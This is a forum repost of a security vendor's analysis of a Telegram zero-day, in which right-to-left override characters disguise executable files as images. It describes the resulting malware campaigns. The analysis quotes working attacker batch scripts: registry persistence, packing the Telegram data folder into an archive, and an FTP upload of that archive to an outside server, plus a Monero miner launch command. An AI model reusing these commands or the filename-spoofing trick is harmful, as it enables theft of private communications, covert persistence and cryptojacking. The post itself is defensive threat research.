Jump to content
usrnm

Zero-day vulnerability in Telegram

Recommended Posts

Sursa: https://securelist.com/zero-day-vulnerability-in-telegram/83800/

 

The special nonprinting right-to-left override (RLO) character is used to reverse the order of the characters that come after that character in the string. In the Unicode character table, it is represented as ‘U+202E’; one area of legitimate use is when typing Arabic text. In an attack, this character can be used to mislead the victim. It is usually used when displaying the name and extension of an executable file: a piece of software vulnerable to this sort of attack will display the filename incompletely or in reverse.

Launching an attack on Telegram

Below is an account of how this vulnerability was exploited in Telegram:

    • The cybercriminal prepares the malware to be sent in a message. For example, a JS file is renamed as follows:

evil.js -> photo_high_re*U+202E*gnp.js
Where *U+202E* is the RLO character to make Telegram display the remaining string gnp.js in reverse. Note that this operation does not change the actual file – it still has the extension *.js.

  • The attacker sends the message, and – surprise! – the recipient sees an incoming PNG image file instead of a JS file:

 

180212-telegram-vulnerability-1.png

 

  • When the user clicks on this file, the standard Windows security notification is displayed:

 

180212-telegram-vulnerability-2.png

Importantly, this notification is only displayed if it hasn’t been disabled in the system’s settings. If the user clicks on ‘Run’, the malicious file is launched.

Exploitation in the wild

After learning the vulnerability, we began to research cases where it was actually exploited. These cases fall into several general scenarios.

Remote control

The aim of this sort of attack is to take control of the victim’s system, and involves the attacker studying the target system’s environment and the installation of additional modules.

180212-telegram-vulnerability-3.pngAttack flowchart

At the first stage, a downloader is sent to the target, which is written in .Net, and uses Telegram API as the command protocol:

180212-telegram-vulnerability-4.png

With this token and API, it is easy to find the Telegram bot via which the infected systems are controlled:

180212-telegram-vulnerability-5.png

When launched, it modifies startup registry key to achieve persistence on a system and copies its executable file into one of the directories, depending on the environment:

180212-telegram-vulnerability-6.png

Then it begins to check every two seconds for commands arriving from the control bot. Note that the commands are implemented in Russian:

180212-telegram-vulnerability-7.png

The list of supported commands shows that the bot can silently deploy arbitrary malicious tools like backdoors, loggers and other malware on the target system. A complete list of supported commands is given below:

Command
(English translation)
Function
“Онлайн
(Online)
Send list of files in directory to control bot.
“Запус
(Launch)
Launch executable file using Process.Start().
“Логгер
(Logger)
Check if tor process is running, download logg.zip, unpack it, delete the archive and launch its content.
“Скачать
(Download)
Download file into its own directory.
“Удалить
(Delete)
Delete file from its own directory.
“Распаковать
(Unpack)
Unpack archive in its own directory using specified password.
Убить
(Kill)
Terminate specified process using process.Kill()
Скачат
(Download)
Same as ‘Download’ (see above), with different command parsing.
Запуск
(Launch)
Same as ‘Launch’ (see above), with different command parsing.
Удалить
(Delete)
Same as ‘Delete’ (see above), with different command parsing.
Распаковать
(Unpack)
Same as ‘Unpack’ (see above), with different command parsing.
Процессы
(Processes)
Send a list of commands running on target PC to control bot.

An analysis of these commands shows that this loader may be designed to download another piece of malware, possibly a logger that would spy on the victim user.

Miners and more

Amid the cryptocurrency boom, cybercriminals are increasingly moving away from ‘classic robbery’ to a new method of making money from their victims – namely mining cryptocurrency using the resources of an infected computer. All they have to do is run a mining client on the victim computer and specify the details of their cryptocurrency wallet.

Scenario #1

180212-telegram-vulnerability-8.pngAttack flowchart

At the first stage of the attack, an SFX archive with a script is used that launches an executable file:

Path=%temp%\adr
Setup=%temp%\adr\run.exe
Silent=1
Overwrite=2

This run.exe file is in fact a BAT file. The batch script, after extraction, looks like this:

180212-telegram-vulnerability-9.png

As we can see, the malicious program first opens a decoy file – in this case it is an image to lull the victim into a false sense of security.

Then, two miners launch one after the other. They are launched as services with the help of the nssm.exe utility, which is also contained in the same SFX archive.

  • nheq.exe: an Equihash miner for NiceHash (in this specific case, it mined Zcash). Can use the resources of both the CPU and graphics accelerator:
    180212-telegram-vulnerability-10.png
  • taskmgn.exe – another popular miner implementing the CryptoNight algorithm. It mines Fantomcoin and Monero. There is a known specific string with pdb path:
    180212-telegram-vulnerability-11.png

We have seen several versions of this batch script, some of which have extra features:

180212-telegram-vulnerability-12.png

This specific version disables Windows security features, then logs on to a malicious FTP server, downloads a payload and launches it. In this case, the payload was an SFX archive that contains another miners and a Remote Manipulator System (RMS) client, an analog of TeamViewer. Using AutoIt scripts, the malware deploys RMS on the targeted computer for subsequent remote access:

180212-telegram-vulnerability-13.png

The attack flowchart is approximately as follows:

180212-telegram-vulnerability-14.png

We have examined this FTP server and found several more similar payloads, which are possibly loaded by other versions of this malware.

180212-telegram-vulnerability-15.png

The file address4.exe is worthy of a special mention. Like the other files, it is an SFX archive with the following contents:

180212-telegram-vulnerability-16.png

All components named st*.exe are executable PE files converted in a similar way from batch scripts.

The SFX script launches the component st1.exe:

Path=%temp%/adress
Setup=%temp%/adress/st1.exe
Silent=1
Overwrite=2

st1.exe adds st2.exe to the system startup by writing the appropriate record to the system registry:

reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v RUN1 /d %temp%\adress\st2.exe /f

So the st2.exe file launches when system is booted next time:

TIMEOUT /T 10 /NOBREAK #Waits for Telegram to launch
chcp 1251
tskill telegram
taskkill /IM telegram.exe #Terminates Telegram processes
md %temp%\sss
cd %temp%\sss #Creates a temporary directory
“%temp%\adress\WinRAR.exe” A -ibck -inul -r -agYY-mm-dd-hh-mm-ss “%temp%\sss\1.rar” “%appdata%\Telegram Desktop” #Packs the Telegram directory into a RAR archive
TIMEOUT /T 60 /NOBREAK
:begin
ping -n 1 ya.ru |>nul find /i “TTL=” && (start “” %temp%/adress/st3.exe) || (ping 127.1 -n 2& Goto :begin) #Checks Internet connection and launches st3.exe

As expected, st3.exe logs on to the malicious FTP server and uploads the RAR archive that was created earlier:

@echo XXXXXXXX>command.txt
@echo XXXXXXXX>>command.txt
@echo binary>>command.txt
@echo mput %temp%\sss\*.rar>>command.txt
@echo quit>>command.txt
ftp -s:command.txt -i free11.beget.com
del command.txt
attrib %temp%/adress +H
attrib %temp%/adress\* +H

On that FTP server, we discovered several archives of this type containing Telegram directories stolen from the victims:

180212-telegram-vulnerability-17.png

Each dump contains, as well as the Telegram client’s executables and utility files, an encrypted local cache containing different files used in personal communications: documents, videos and audio records and photos.

Scenario #2

180212-telegram-vulnerability-18.png

Just like in the previous scenario, an attack starts with an SFX archive opening and launching a VBScript that it contains. Its main job is to open a decoy image to distract the user, and then download and launch the payload:

180212-telegram-vulnerability-19.png

The payload is an SFX archive with the following script:

180212-telegram-vulnerability-20.png

svchost.vbs is a script controlling the launch of the miner CryptoNight (csrs.exe). It monitors the task list; if it detects a task manager (taskmgr.exe, processhacker.exe) on that list, it terminates the miner’s process and re-launches it when the task manager is closed.

The script contains the appropriate comments:

180212-telegram-vulnerability-21.png

The miner itself is launched as follows:

WshShell.Run “csrs.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u XXXXXXXXX@yandex.ru -p x -dbg -1″ & cores, 0

The pool address is associated with the cryptocurrency Monero.

On the server itself, in addition to the specified payload files, we found similar SFX archives with miners:

180212-telegram-vulnerability-22.png

  • Upvote 2
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...